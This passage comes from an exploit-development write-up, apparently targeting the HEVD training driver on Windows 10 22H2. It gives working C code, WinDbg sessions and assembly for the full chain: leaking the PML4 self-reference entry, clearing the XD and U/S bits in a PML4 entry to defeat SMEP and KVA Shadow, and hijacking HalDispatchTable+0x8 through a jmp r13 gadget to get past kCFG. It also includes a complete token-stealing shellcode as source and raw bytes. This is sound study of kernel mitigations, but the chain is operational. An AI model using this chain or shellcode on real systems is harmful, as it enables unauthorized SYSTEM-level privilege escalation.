1f4fb4    ---DA--UWEV  pfn 1f8ff4    ---DA--UWEV</pre><p>When KVA Shadow is enabled, we can see that PML4E is not executable (E → -). By the way, PML4E is called PXE in the Windows world.</p><p>As shown above, when KVA Shadow is enabled, the user space address range is mapped as non-executable in the PML4 table for kernel mode.</p><p>Conversely, in the PML4 table for user mode, the kernel space address range is not mapped at all.</p><p>This mechanism is achieved by forcibly setting the XD (NX) bit of page table entries to 1. KVA Shadow is also called software SMEP because it works similarly to SMEP in preventing execution of user mode code in kernel mode.</p><p><strong>General Strategies for Bypassing KVA Shadow</strong></p><p>Multiple methods can be considered for bypassing KVA Shadow:</p><ul><li>Switch to the PML4 table for user mode by modifying the CR3 register value before executing user mode code</li><li>Allocate an executable region in kernel space and write arbitrary code as kernel mode code</li><li>Modify the entry in the PML4 table for kernel mode and change it to executable</li></ul><h3>Exploit Development</h3><p>Before starting exploit development, let&#39;s first devise an overall strategy for the exploit.</p><h3>0. The Goal and How We’ll Get There</h3><p>The goal here is privilege escalation. Specifically, we’ll aim to <strong>run a token-stealing shellcode and elevate the process to SYSTEM privileges</strong>.</p><p>To do that, we need to bypass all the security features introduced earlier, using ArbitraryWrite and ArbitraryRead. Let&#39;s break the bypasses down into three steps.</p><p><strong>Step 1. Bypassing PML4 Self-Reference Entry Randomization</strong></p><p>Since ArbitraryRead lets us read data from inside the kernel, we can bypass this by directly leaking the PML4 self-reference entry that the kernel holds internally.</p><p><strong>Step 2. Bypassing SMEP and KVA Shadow</strong></p><p>From the PML4 self-reference entry leaked in Step 1, we can calculate the virtual address of the shellcode’s PML4 entry. Using that address, we bypass SMEP and KVA Shadow by rewriting the PML4 entry via ArbitraryWrite to set XD bit = 0 and U/S bit = 0.</p><p><strong>Step 3. Bypassing Kernel-mode Address Check</strong></p><p>We combine two known pieces: a technique for making an indirect function call to an arbitrary address by overwriting a function pointer inside the kernel, and a ROP gadget that jumps to the value held in a controllable register. We overwrite the function pointer with the address of that ROP gadget, and put the address of our user-mode code into the register; that gets us past the check.</p><p>In practice, a few more pieces are needed on top of this: preparing the token-stealing shellcode, triggering the function pointer call, and restoring the kernel state to avoid a BSOD afterward. That said, the three steps above are essentially how we get to the goal.</p><p>From here on, we’ll follow this plan and actually start building the exploit.</p><h3>1. Bypassing PML4 Self-Reference Entry Randomization</h3><p>Here, we aim to leak the PML4 self-reference entry from inside the kernel using ArbitraryRead.</p><p><strong>Analyzing MiGetPteAddress</strong></p><p>The kernel needs to be able to know the virtual address of page table entries for memory management. The function prepared for this purpose is a kernel mode function called MiGetPteAddress.</p><p>Disassembling this function with WinDbg shows the following code:</p><pre>0: kd&gt; u nt!MiGetPteAddress<br>nt!MiGetPteAddress:<br>fffff807`8206b560 48c1e909        shr     rcx,9<br>fffff807`8206b564 48b8f8ffffff7f000000 mov rax,7FFFFFFFF8h  <br>fffff807`8206b56e 4823c8          and     rcx,rax<br>fffff807`8206b571 48b80000000000ecffff mov rax,0FFFFEC0000000000h<br>fffff807`8206b57b 4803c1          add     rax,rcx<br>fffff807`8206b57e c3              ret</pre><p>This code retrieves the “virtual address of the PTE (Page Table Entry)” for the “virtual address passed as an argument”. The part 0FFFFEC0000000000h in this code includes the value of the PML4 self-reference entry.</p><p><strong>Calculating virtual addresses of page table entries</strong></p><p>Here, let’s simulate the above code in Python using the arbitrary address 0xFFFFF0123456789A as an example.</p><pre>In [17]: hex(((0xFFFFF0123456789A &gt;&gt; 9) &amp; 0x7FFFFFFFF8) + 0xFFFFEC0000000000)<br>Out[17]: &#39;0xffffec78091a2b38&#39;</pre><p>If we decompose and compare the virtual addresses before and after this calculation:</p><ul><li>Original (before calculation): 0xFFFFF0123456789A</li></ul><pre>1111111111111111 (0xffff) - Ignored<br>111100000        (0x01e0) - PML4 index  <br>001001000        (0x0048) - PDPT index<br>110100010        (0x01a2) - PDT index<br>101100111        (0x0167) - PT index<br>100010011010     (0x089a) - Physical address offset</pre><ul><li>PTE (after calculation): 0xFFFFEC78091A2B38</li></ul><pre>1111111111111111 (0xffff) - Ignored<br>111011000        (0x01d8) - PML4 index<br>111100000        (0x01e0) - PDPT index  <br>001001000        (0x0048) - PDT index<br>110100010        (0x01a2) - PT index<br>101100111000     (0x0b38) - Physical address offset</pre><p>Before and after the calculation, the value shifts to a lower page structure, like PML4 index → PDPT index, PDPT index → PDT index, PDT index → PT index. Also, the PML4 index after calculation contains a value (0x01d8) that did not exist in the original virtual address.</p><p>This value (0x01d8) is the PML4 self-reference entry.</p><p>If you know the value of the PML4 self-reference entry, you can calculate the virtual addresses of PDTE, PDPTE, and PML4E in the same way by repeating the same calculation.</p><ul><li>PDTE: 0xFFFFEC763C048D10</li></ul><pre>1111111111111111 (0xffff) - Ignored  <br>111011000        (0x01d8) - PML4 index<br>111011000        (0x01d8) - PDPT index<br>111100000        (0x01e0) - PDT index<br>001001000        (0x0048) - PT index  <br>110100010000     (0x0d10) - Physical address offset</pre><ul><li>PDPTE: 0xFFFFEC763B1E0240</li></ul><pre>1111111111111111 (0xffff) - Ignored<br>111011000        (0x01d8) - PML4 index<br>111011000        (0x01d8) - PDPT index  <br>111011000        (0x01d8) - PDT index <br>111100000        (0x01e0) - PT index<br>001001000000     (0x0240) - Physical address offset</pre><ul><li>PML4E: 0xFFFFEC763B1D8F00</li></ul><pre>1111111111111111 (0xffff) - Ignored<br>111011000        (0x01d8) - PML4 index<br>111011000        (0x01d8) - PDPT index<br>111011000        (0x01d8) - PDT index  <br>111011000        (0x01d8) - PT index<br>111100000000     (0x0f00) - Physical address offset</pre><p><strong>Leaking the PML4 Self-Reference Entry</strong></p><p>This section will explore how to extract the value from the MiGetPteAddress code.</p><p>The part 0FFFFEC0000000000h is at an offset of 0x13 bytes from the address of MiGetPteAddress.</p><pre>1: kd&gt; dq nt!MiGetPteAddress+0x13 L1<br>fffff802`45c6b573  ffffec00`00000000</pre><p>This location is at an offset of 0x26b573 bytes from the kernel base address.</p><pre>1: kd&gt; ? nt!MiGetPteAddress+0x13 - nt<br>Evaluate expression: 2536819 = 00000000`0026b573</pre><p>We specify this offset and leak the value from kernel space using ArbitraryRead.</p><pre>const size_t MiGetPteAddress13_Offset = 0x26b573;<br>PVOID miGetPteAddress13_Address = (PVOID)((uintptr_t)kernelBaseAddress + MiGetPteAddress13_Offset);<br>PVOID pteVirtualAddress = ArbitraryRead(hHevd, miGetPteAddress13_Address);  <br>printf(&quot;[*] Leaked PTE virtual address: %p\n&quot;, pteVirtualAddress);</pre><p>And extract the PML4 self-reference entry from the leaked value with the following code:</p><pre>unsigned int ExtractPml4Index(PVOID address)<br>{<br>  return ((uintptr_t)address &gt;&gt; 39) &amp; 0x1ff;  <br>}</pre><pre>unsigned int pml4SelfRef_Index = ExtractPml4Index(pteVirtualAddress);<br>printf(&quot;[*] Extracted PML4 Self Reference Entry index: %03x\n&quot;, pml4SelfRef_Index);</pre><p>Running the code, we can leak the PML4 self reference entry as follows:</p><pre>[!] Writing: *(000000BF51BBFC60) = *(FFFFF80560C6B573)<br>[*] Leaked PTE virtual address: FFFFEC0000000000  <br>[*] Extracted PML4 Self Reference Entry index: 1D8</pre><p>With this, we’ve incorporated the processing to bypass PML4 Self-Reference Entry Randomization into the exploit.</p><h3>2. Bypassing SMEP and KVA Shadow</h3><p>Now that we’ve leaked the PML4 self reference entry, next we aim to bypass SMEP and KVA Shadow by modifying the shellcode’s PML4E.</p><p><strong>Dummy Shellcode</strong></p><p>Copy a dummy do-nothing shellcode (nop/nop/nop/int3) to an executable memory region.</p><pre>PVOID AllocExecutableCode(PVOID rawCode, size_t size)<br>{<br>  PVOID executableCode = VirtualAlloc(<br>    NULL,  <br>    size,<br>    MEM_COMMIT | MEM_RESERVE,<br>    PAGE_EXECUTE_READWRITE  <br>  );<br>  RtlMoveMemory(executableCode, rawCode, size);<br>  return executableCode;<br>}</pre><pre>unsigned char rawShellcode[] = {<br>  0x90, 0x90, 0x90, 0xCC // nop, nop, nop, int3  <br>};<br>PVOID shellcode = AllocExecutableCode(rawShellcode, sizeof(rawShellcode));<br>printf(&quot;[*] Executable shellcode: %p\n&quot;, shellcode);</pre><p>Use WinDbg to check the shellcode’s PML4E allocated in kernel mode.</p><pre>[*] Executable shellcode: 0000024BBD5D0000</pre><pre>0: kd&gt; db 0000024BBD5D0000 L4<br>0000024b`bd5d0000  90 90 90 cc                                      ....<br><br>0: kd&gt; !pte 0000024BBD5D0000  <br>                                           VA 0000024bbd5d0000<br>PXE at FFFFDB6DB6DB6020    PPE at FFFFDB6DB6C04970    PDE at FFFFDB6D8092EF50    PTE at FFFFDB0125DEAE80<br>contains 8A00000141D01867  contains 0A0000020CC02867  contains 0A000001F612E867  contains 00000001F6952867<br>pfn 141d01    ---DA--UW-V  pfn 20cc02    ---DA--UWEV  pfn 1f612e    ---DA--UWEV  pfn 1f6952    ---DA--UWEV</pre><p>Currently, the shellcode’s PML4E (virtual address: 0xFFFFDB6DB6DB6020) has been changed to non-executable (-) by KVA Shadow. And because it is user mode (U) code, it&#39;s also non-executable due to SMEP.</p><p>We will modify this shellcode’s PML4E to executable (- → E) and kernel mode (U → K) to bypass KVA Shadow and SMEP.</p><p><strong>Calculating the shellcode’s PML4E virtual address</strong></p><p>PML4E can be modified with ArbitraryWrite, but to do so we first need to know the virtual address of PML4E.</p><p>The code to calculate the virtual address of PML4E is as follows:</p><pre>PVOID CalculatePml4VirtualAddress(unsigned int pml4SelfRefIndex, unsigned int pml4Index)<br>{<br>  uintptr_t address = 0xffff;<br>  address = (address &lt;&lt; 0x9) | pml4SelfRefIndex; // PML4 Index<br>  address = (address &lt;&lt; 0x9) | pml4SelfRefIndex; // PDPT Index<br>  address = (address &lt;&lt; 0x9) | pml4SelfRefIndex; // PDT Index<br>  address = (address &lt;&lt; 0x9) | pml4SelfRefIndex; // PT Index<br>  address = (address &lt;&lt; 0xC) | pml4Index * 8;    // Physical Address Offset<br>  return (PVOID)address;<br>}</pre><p>Using the leaked PML4 self reference entry value, calculate the virtual address of PML4E.</p><pre>unsigned int pml4Shellcode_Index = ExtractPml4Index(shellcode);<br>printf(&quot;[*] Extracted shellcode&#39;s PML4 index: %03x\n&quot;, pml4Shellcode_Index);<br><br>PVOID pml4Shellcode_VirtualAddress = CalculatePml4VirtualAddress(pml4SelfRef_Index, pml4Shellcode_Index);<br>printf(&quot;[*] Calculated virtual address for shellcode&#39;s PML4 entry: %p\n&quot;, pml4Shellcode_VirtualAddress);</pre><p>We can confirm it yields the same virtual address (0xFFFFDB6DB6DB6020) as when checked with WinDbg.</p><pre>[*] Extracted shellcode&#39;s PML4 index: 004<br>[*] Calculated virtual address for shellcode&#39;s PML4 entry: FFFFDB6DB6DB6020</pre><p><strong>Leaking the shellcode’s PML4E</strong></p><p>Using the virtual address above, leak the PML4E value with ArbitraryRead.</p><pre>uintptr_t originalPml4Shellcode_Entry = (uintptr_t)ArbitraryRead(hHevd, pml4Shellcode_VirtualAddress);<br>printf(&quot;[*] Leaked shellcode&#39;s PML4 entry: %p\n&quot;, (PVOID)originalPml4Shellcode_Entry);</pre><pre>[!] Writing: *(000000A56EFDF9F0) = *(FFFFDB6DB6DB6020)<br>[*] Leaked shellcode&#39;s PML4 entry: 8A00000141D01867</pre><p>From the execution result, we can see that the value 8A00000141D01867 is set as PML4E.</p><p>To understand the meaning of this value, I wrote a <a href="https://github.com/ommadawn46/HEVD-Exploit-Win10-22H2-KVAS/blob/main/util/parse_pml4e.py">Python script</a> that parses PML4E values. Let’s parse the shellcode’s PML4E with this script.</p><p>Here is the execution result:</p><pre>&gt; python parse_pml4e.py 8A00000141D01867<br>PML4E: 1000101000000000000000000000000101000001110100000001100001100111<br>Bit  0: Present                        - Set<br>Bit  1: Read/Write                     - Set<br>Bit  2: User/Supervisor                - Set<br>Bit  3: Page-Level Write-Through       - Not Set <br>Bit  4: Page-Level Cache Disable       - Not Set<br>Bit  5: Accessed                       - Set<br>Bit 63: Execute Disable                - Set<br>Physical Frame Number (PFN): 0x141d01</pre><p>From this result, we can see that by clearing bits 2 and 63 to 0, we can change it to a kernel mode (K) and executable (E) state.</p><p><strong>Modifying the shellcode’s PML4E</strong></p><p>I implemented a function (ModifyPml4EntryForKernelMode) that clears the above 2 bits.</p><pre>uintptr_t ModifyPml4EntryForKernelMode(uintptr_t originalPml4Entry)<br>{<br>  uintptr_t modifiedPml4Entry = originalPml4Entry;<br>  modifiedPml4Entry &amp;= ~((uintptr_t)1 &lt;&lt; 2);  // Clear U/S bit (Kernel Mode)<br>  modifiedPml4Entry &amp;= ~((uintptr_t)1 &lt;&lt; 63); // Clear XD bit (Executable)<br>  return modifiedPml4Entry;  <br>}</pre><p>Using ModifyPml4EntryForKernelMode to clear the bits, overwrite the shellcode’s PML4E with that value.</p><pre>uintptr_t modifiedPml4Shellcode_Entry = ModifyPml4EntryForKernelMode(originalPml4Shellcode_Entry);<br>printf(&quot;[*] Modified shellcode&#39;s PML4 entry: %p\n&quot;, (PVOID)modifiedPml4Shellcode_Entry);<br><br>ArbitraryWrite(hHevd, pml4Shellcode_VirtualAddress, &amp;modifiedPml4Shellcode_Entry); <br>printf(&quot;[*] Overwrote PML4 entry to make shellcode executable in kernel mode\n&quot;);</pre><pre>[*] Modified shellcode&#39;s PML4 entry: 0A00000141D01863<br>[!] Writing: *(FFFFDB6DB6DB6020) = *(000000A56EFDFA68)  <br>[*] Overwrote PML4 entry to make shellcode executable in kernel mode</pre><p>After overwriting PML4E, let’s check the shellcode’s PML4E with WinDbg.</p><pre>0: kd&gt; !pte 0000024BBD5D0000<br>                                           VA 0000024bbd5d0000  <br>PXE at FFFFDB6DB6DB6020    PPE at FFFFDB6DB6C04970    PDE at FFFFDB6D8092EF50    PTE at FFFFDB0125DEAE80<br>contains 0A00000141D01863  contains 0A0000020CC02867  contains 0A000001F612E867  contains 00000001F6952867<br>pfn 141d01    ---DA--KWEV  pfn 20cc02    ---DA--UWEV  pfn 1f612e    ---DA--UWEV  pfn 1f6952    ---DA--UWEV</pre><p>The shellcode’s PML4E has been changed to executable (E) and kernel mode (K).</p><p>With this, the shellcode is now executable in kernel mode. SMEP and KVA Shadow bypass complete.</p><h3>3. Bypassing Kernel-mode Address Check</h3><p>Since we’ve succeeded in securing shellcode executable in kernel mode, next let’s consider how to point RIP to the shellcode.</p><p><strong>Overwriting HalDispatchTable</strong></p><p>Inside the Windows kernel, there is a table of function pointers called HalDispatchTable. Overwriting function pointers included in this table to hijack control flow has become a standard technique in Windows kernel exploitation.</p><p>HalDispatchTable+0x8 normally contains a pointer to a function called HaliQuerySystemInformation. And this function pointer is indirectly called within a function called NtQueryIntervalProfile.</p><p>By taking advantage of this and modifying HalDispatchTable+0x8, an attacker can call an arbitrary address in kernel mode by executing NtQueryIntervalProfile in that state.</p><p><strong>Finding ROP gadgets in ntoskrnl.exe</strong></p><p>However, this time the partial protection of kCFG, Kernel-mode Address Check, is checking “whether the indirect function call destination is in the kernel address range”. Therefore, we cannot directly jump to shellcode allocated in the user address range with the above technique.</p><p>On the other hand, code inside the kernel will pass Kernel-mode Address Check. In other words, we can use the above technique to jump to a ROP gadget inside the kernel.</p><p>From here, let’s consider a method to jump to shellcode by going through a ROP gadget inside the kernel.</p><p>The Windows kernel binary exists at the following path:</p><pre>C:\Windows\System32\ntoskrnl.exe</pre><p>Run <a href="https://github.com/0vercl0k/rp">rp++</a> on this binary to extract ROP gadgets.</p><pre>.\rp-win.exe -f .\ntoskrnl.exe -r 5 &gt; .\ntoskrnl.txt</pre><p>Grepping the results, we can find several ROP gadgets that directly jump to registers:</p><pre>0x14060daa6: jmp rax ; (1 found)</pre><pre>0x14045751a: jmp rsi ; (1 found)</pre><pre>0x14080d5db: jmp r13 ; (1 found)</pre><p><strong>Strategy for hijacking RIP</strong></p><p>By using ROP gadgets like the above, there is a possibility of transferring kernel mode control flow to shellcode.</p><p>The specific steps are as follows:</p><ol><li>Overwrite HalDispatchTable+0x8 with the address of a ROP gadget</li><li>Set the address of the shellcode in the register</li><li>Trigger the indirect function call of HalDispatchTable+0x8</li></ol><p>If the value of the register set in 2. remains as is at the timing when the ROP gadget in 3. is called, kernel mode control flow should transfer to the shellcode.</p><p><strong>Investigating controllable registers</strong></p><p>To identify registers controllable from user mode code, let’s do an experiment using WinDbg.</p><p>The experiment steps are as follows:</p><ol><li>Set breakpoints on NtQueryIntervalProfile and HaliQuerySystemInformation</li><li>Call NtQueryIntervalProfile</li><li>When the breakpoint is hit at NtQueryIntervalProfile, overwrite the register values to arbitrary values and continue processing</li><li>When the breakpoint is hit at HaliQuerySystemInformation, check if the register values set in 3. remain</li></ol><p>Set breakpoints in WinDbg.</p><pre>1: kd&gt; bp nt!NtQueryIntervalProfile<br>1: kd&gt; bp nt!HaliQuerySystemInformation</pre><p>Call NtQueryIntervalProfile with the code below.</p><pre>HMODULE ntdll = GetModuleHandle(&quot;ntdll&quot;);<br>FARPROC ntQueryIntervalProfileFunc = GetProcAddress(ntdll, &quot;NtQueryIntervalProfile&quot;); <br>ULONG dummy = 0;<br>ntQueryIntervalProfileFunc(2, &amp;dummy);</pre><p>Run the code and confirm it breaks as expected.</p><pre>Breakpoint 1 hit<br>nt!NtQueryIntervalProfile:<br>fffff806`08134430 48895c2408      mov     qword ptr [rsp+8],rbx</pre><p>Overwrite registers that don’t seem to impact operation when modified (other than those used for arguments or control).</p><pre>1: kd&gt; r rax=4141414141414141<br>1: kd&gt; r rbx=4242424242424242  <br>1: kd&gt; r rsi=4343434343434343<br>1: kd&gt; r rdi=4444444444444444<br>1: kd&gt; r r8=4545454545454545<br>1: kd&gt; r r9=4646464646464646<br>1: kd&gt; r r10=4747474747474747  <br>1: kd&gt; r r11=4848484848484848<br>1: kd&gt; r r12=4949494949494949<br>1: kd&gt; r r13=5050505050505050<br>1: kd&gt; r r14=5151515151515151 <br>1: kd&gt; r r15=5252525252525252</pre><p>Continue processing and break at HaliQuerySystemInformation.</p><pre>Breakpoint 2 hit  <br>nt!HaliQuerySystemInformation:<br>fffff806`08392ef0 4055            push    rbp</pre><p>Check the register values at this time and identify which registers are controllable.</p><pre>1: kd&gt; r  <br>rax=fffff80608392ef0 rbx=000000ae55dbfeb0 rcx=0000000000000001<br>rdx=0000000000000018 rsi=4343434343434343 rdi=4444444444444401  <br>rip=fffff80608392ef0 rsp=fffffd822daef428 rbp=fffffd822daef540<br> r8=fffffd822daef460  r9=fffffd822daef490 r10=fffff80608392ef0  <br>r11=0000000000000000 r12=4949494949494949 r13=5050505050505050<br>r14=5151515151515151 r15=5252525252525252<br>iopl=0         nv up ei pl zr na po nc  <br>cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246<br>nt!HaliQuerySystemInformation:<br>fffff806`08392ef0 4055            push    rbp</pre><p>The results indicate that the rsi, r12, r13, r14, r15 registers can be controlled from user mode.</p><p><strong>Setting a value in the R13 register</strong></p><p>Among the above registers, select one for which a jmp instruction ROP gadget exists inside the kernel. This time I will use r13.</p><p>Since registers cannot be directly manipulated from C language code, the processing to set a value in the register needs to be written in assembly language.</p><p>Below is an implementation of a function in assembly language designed to assign the value of the first argument to the R13 register.</p><pre>BITS 64<br>global SetR13  <br>section .text<br><br>SetR13:<br>    mov r13, rcx    ; Set the 1st argument to r13<br>    ret</pre><p><a href="https://github.com/ommadawn46/HEVD-Exploit-Win10-22H2-KVAS/blob/main/shellcode/SetR13.asm"><em>SetR13.asm</em></a></p><p><strong>Embedding in C source code</strong></p><p>In Visual Studio, inline assembly (__asm) is currently not supported for the x64 architecture. Therefore, some ingenuity is required to call the above function within the exploit.</p><p>Using an extern declaration and linking is probably the proper way, but since the compilation settings are troublesome, here we’ll take the approach of copying the binary code to an executable region and executing it.</p><p>The above assembly code can be assembled with nasm.</p><pre>nasm.exe -f bin -o .\SetR13.bin .\SetR13.asm</pre><p>I wrote a <a href="https://github.com/ommadawn46/HEVD-Exploit-Win10-22H2-KVAS/blob/main/util/hex.py">Python script</a> that converts the assembled binary into a format that can be embedded in C code. After conversion, it looks like this:</p><pre>&gt; python hex.py SetR13.bin    <br>// size: 4<br>unsigned char rawShellcode[] = {<br>    0x49, 0x89, 0xcd, 0xc3<br>};</pre><p>Embed SetR13 in the C source code and call it with the shellcode address specified as an argument as follows:</p><pre>// SetR13.asm<br>unsigned char rawSetR13[] = {<br>  0x49, 0x89, 0xcd, 0xc3  <br>};<br>PVOID executableSetR13 = AllocExecutableCode(rawSetR13, sizeof(rawSetR13));<br><br>((void (*)(PVOID))executableSetR13)(shellcode);</pre><p>With this, the address of the shellcode will be set in the R13 register.</p><p><strong>Checking offsets from the kernel base address</strong></p><p>To modify the function pointer with ArbitraryWrite, we need to check the offsets of HalDispatchTable+0x8 and the ROP gadget (jmp r13) from the kernel base address.</p><p>The offset of nt!HalDispatchTable+0x8 can be checked with WinDbg as follows:</p><pre>1: kd&gt; ? nt!HalDispatchTable+0x8 - nt<br>Evaluate expression: 12585576 = 00000000`00c00a68</pre><ul><li>Offset of nt!HalDispatchTable+0x8: 0xc00a68</li></ul><p>The offset of the ROP gadget (jmp r13) is the value obtained by subtracting the <a href="https://learn.microsoft.com/en-us/cpp/build/reference/base-base-address">base address (0x140000000)</a> from the address output by rp++.</p><pre>0x14080d5db: jmp r13 ; (1 found)</pre><ul><li>Offset of ROP gadget (jmp r13): 0x80d5db</li></ul><p>Now we have all the necessary preparations.</p><p><strong>Jumping to the ROP gadget</strong></p><p>Overwrite HalDispatchTable+0x8 with ArbitraryWrite to modify the function pointer so that the ROP gadget (jmp r13) is executed.</p><pre>const size_t HalDispatchTable8_Offset = 0xc00a68;<br>PVOID halDispatchTable8_Address = (PVOID)((uintptr_t)kernelBaseAddress + HalDispatchTable8_Offset);<br><br>const size_t JmpR13_Offset = 0x80d5db;<br>PVOID jmpR13_Address = (PVOID)((uintptr_t)kernelBaseAddress + JmpR13_Offset);<br>ArbitraryWrite(hHevd, halDispatchTable8_Address, &amp;jmpR13_Address); // jmp r13</pre><p>With this, we should be able to bypass Kernel-mode Address Check and hijack the control flow.</p><p>Execute the exploit while setting a breakpoint in WinDbg.</p><p>Set a breakpoint on the ROP gadget (jmp r13).</p><pre>1: kd&gt; bp nt+0x80d5db</pre><p>Trigger the function pointer call by calling NtQueryIntervalProfile.</p><pre>ULONG dummy = 0;<br>ntQueryIntervalProfileFunc(2, &amp;dummy);</pre><p>It hits the breakpoint we set earlier. Successfully called the ROP gadget.</p><pre>Breakpoint 0 hit<br>nt!CmpLinkHiveToMaster+0x1a037b:<br>fffff800`81c0d5db 4bffe5          jmp     r13</pre><p>Checking the R13 register in this state, we can see that the address of the shellcode (280bb610000) is set as intended.</p><pre>0: kd&gt; r <br>rax=fffff80081c0d5db rbx=000000d4216ffb20 rcx=0000000000000001<br>rdx=0000000000000018 rsi=0000000000000000 rdi=0000000000000001<br>rip=fffff80081c0d5db rsp=fffff283a770f428 rbp=fffff283a770f540<br> r8=fffff283a770f460  r9=fffff283a770f490 r10=fffff80081c0d5db<br>r11=0000000000000000 r12=0000000000000000 r13=00000280bb610000<br>r14=0000000000000000 r15=0000000000000000<br>iopl=0         nv up ei pl zr na po nc<br>cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246<br>nt!CmpLinkHiveToMaster+0x1a037b:<br>fffff800`81c0d5db 4bffe5          jmp     r13 {00000280`bb610000}<br><br>0: kd&gt; u r13 L4<br>00000280`bb610000 90              nop<br>00000280`bb610001 90              nop  <br>00000280`bb610002 90              nop<br>00000280`bb610003 cc              int     3</pre><p><strong>Arbitrary code execution</strong></p><p>If we continue the process, the dummy do-nothing shellcode (nop/nop/nop/int3) is executed.</p><pre>0: kd&gt; g<br>Break instruction exception - code 80000003 (first chance)<br>00000280`bb610003 cc              int     3</pre><p>Since it’s only nop and int3, nothing really happens except a break. However, under normal conditions, a BSOD should be triggered by security features before reaching int3.</p><p>The fact that we can execute nop and int3 in kernel mode without errors indicates that the security feature bypasses we&#39;ve done so far are functioning as intended.</p><p>Now that arbitrary code execution has been achieved, all that remains is to program a shellcode that escalates privileges in kernel mode.</p><h3>4. Executing the Token Stealing Shellcode</h3><p>This time we’ll use a token stealing shellcode in the exploit.</p><p>The token stealing shellcode is a shellcode that elevates the privileges of an arbitrary process to SYSTEM privileges. This shellcode achieves privilege escalation by replacing an arbitrary process’s token with the SYSTEM process’s token.</p><p><strong>Token Stealing Shellcode Processing</strong></p><p>The following is an overview of the processing performed by the token stealing shellcode I created this time.</p><p><strong>1. Obtain a pointer to </strong><a href="https://www.vergiliusproject.com/kernels/x64/Windows%2010%20%7C%202016/2210%2022H2%20%28May%202023%20Update%29/_EPROCESS"><strong>_EPROCESS</strong></a><strong>’s ActiveProcessLinks by following several pointers from </strong><a href="https://www.vergiliusproject.com/kernels/x64/Windows%2010%20%7C%202016/2210%2022H2%20%28May%202023%20Update%29/_KPCR"><strong>_KPCR</strong></a><strong> stored in the GS register</strong></p><ul><li>GS[0x180] → _KPRCB</li><li>_KPRCB + 0x8 → CurrentThread</li><li>CurrentThread + 0xB8 → CurrentProcess</li><li>CurrentProcess + 0x448 → ActiveProcessLinks</li></ul><p><strong>2. Explore ActiveProcessLinks until the SYSTEM process is found</strong></p><p>Check if the target process’s UniqueProcessId matches 0x04</p><ul><li><strong>UniqueProcessId != 0x04:</strong></li></ul><p>Not the SYSTEM process. Get a pointer to the next process and re-perform the UniqueProcessId check</p><ul><li><strong>UniqueProcessId == 0x04:</strong></li></ul><p>SYSTEM process found. Obtain the SYSTEM process’s token, overwrite CurrentProcess’s token with that value, and end processing</p><p>When the above processing is executed in kernel mode, the process currently executing in the thread is elevated to SYSTEM privileges.</p><p><strong>Implementing the Token Stealing Shellcode</strong></p><p>The following is an implementation of the above processing in assembly language:</p><pre>BITS 64<br>global _start<br>section .text<br>    SYSTEM_PID equ 0x04<br>    ; nt!_KPCR<br>    Prcb equ 0x180<br>    ; nt!_KPRCB<br>    CurrentThread equ 0x08<br>    ; nt!_KTHREAD<br>    ApcState equ 0x98<br>    ; nt!_KAPC_STATE<br>    Process equ 0x20<br>    ; nt!_EPROCESS<br>    UniqueProcessId equ 0x440<br>    ActiveProcessLinks equ 0x448<br>    Token equ 0x4b8<br><br>_start:<br>    ; Retrieve a pointer to _ETHREAD from KPCR<br>    mov rdx, qword [gs:Prcb + CurrentThread]<br><br>    ; Obtain a pointer to CurrentProcess<br>    mov r8, [rdx + ApcState + Process]<br><br>    ; Move to the first process in the ActiveProcessLinks list<br>    mov rcx, [r8 + ActiveProcessLinks]<br><br>.loop_find_system_proc:<br>    ; Get the UniqueProcessId<br>    mov rdx, [rcx - ActiveProcessLinks + UniqueProcessId]<br><br>    ; Check if UniqueProcessId matches the SYSTEM process ID<br>    cmp rdx, SYSTEM_PID<br>    jz .found_system  ; IF (SYSTEM process is found)<br><br>    ; Move to the next process<br>    mov rcx, [rcx]<br>    jmp .loop_find_system_proc  ; Continue looping until the SYSTEM process is found<br><br>.found_system:<br>    ; Retrieve the token of the SYSTEM process<br>    mov rax, [rcx - ActiveProcessLinks + Token]<br><br>    ; Mask the RefCnt (lower 4 bits) of the _EX_FAST_REF structure<br>    and al, 0xF0<br><br>    ; Replace the CurrentProcess&#39;s token with the SYSTEM process&#39;s token<br>    mov [r8 + Token], rax<br><br>    ; Clear r13 register<br>    xor r13, r13<br><br>    ret</pre><p><a href="https://github.com/ommadawn46/HEVD-Exploit-Win10-22H2-KVAS/blob/main/shellcode/TokenSteal.asm"><em>TokenSteal.asm</em></a></p><p><strong>Embedding in the Exploit</strong></p><p>As with SetR13.asm, assemble the token stealing shellcode and embed it in the C source code.</p><pre>nasm.exe -f bin -o .\TokenSteal.bin .\TokenSteal.asm</pre><pre>&gt; python hex.py TokenSteal.bin<br>// size: 55<br>unsigned char rawShellcode[] = {<br>    0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x82, <br>    0xb8, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x88, 0x48, 0x04, 0x00, 0x00, 0x48,<br>    0x8b, 0x51, 0xf8, 0x48, 0x83, 0xfa, 0x04, 0x74, 0x05, 0x48, 0x8b, 0x09,<br>    0xeb, 0xf1, 0x48, 0x8b, 0x41, 0x70, 0x24, 0xf0, 0x49, 0x89, 0x80, 0xb8, <br>    0x04, 0x00, 0x00, 0x4d, 0x31, 0xed, 0xc3  <br>};</pre><p>Replace the dummy shellcode with the TokenSteal shellcode.</p><pre>// unsigned char rawShellcode[] = {<br>//   0x90, 0x90, 0x90, 0xCC // nop, nop, nop, int3  <br>// };<br><br>// TokenSteal.asm<br>unsigned char rawShellcode[] = {<br>  0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x82,<br>  0xb8, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x88, 0x48, 0x04, 0x00, 0x00, 0x48, <br>  0x8b, 0x51, 0xf8, 0x48, 0x83, 0xfa, 0x04, 0x74, 0x05, 0x48, 0x8b, 0x09,<br>  0xeb, 0xf1, 0x48, 0x8b, 0x41, 0x70, 0x24, 0xf0, 0x49, 0x89, 0x80, 0xb8,<br>  0x04, 0x00, 0x00, 0x4d, 0x31, 0xed, 0xc3  <br>};<br>PVOID executableShellcode = AllocExecutableCode(rawShellcode, sizeof(rawShellcode));<br>printf(&quot;[*] Executable shellcode: %p\n&quot;, executableShellcode);</pre><p>With this, the token stealing shellcode should be executed in kernel mode.</p><p><strong>Post-privilege escalation processing</strong></p><p>In the current exploit, after the process is privilege escalated by the token stealing shellcode, the program ends without doing anything further.</p><p>As post-privilege 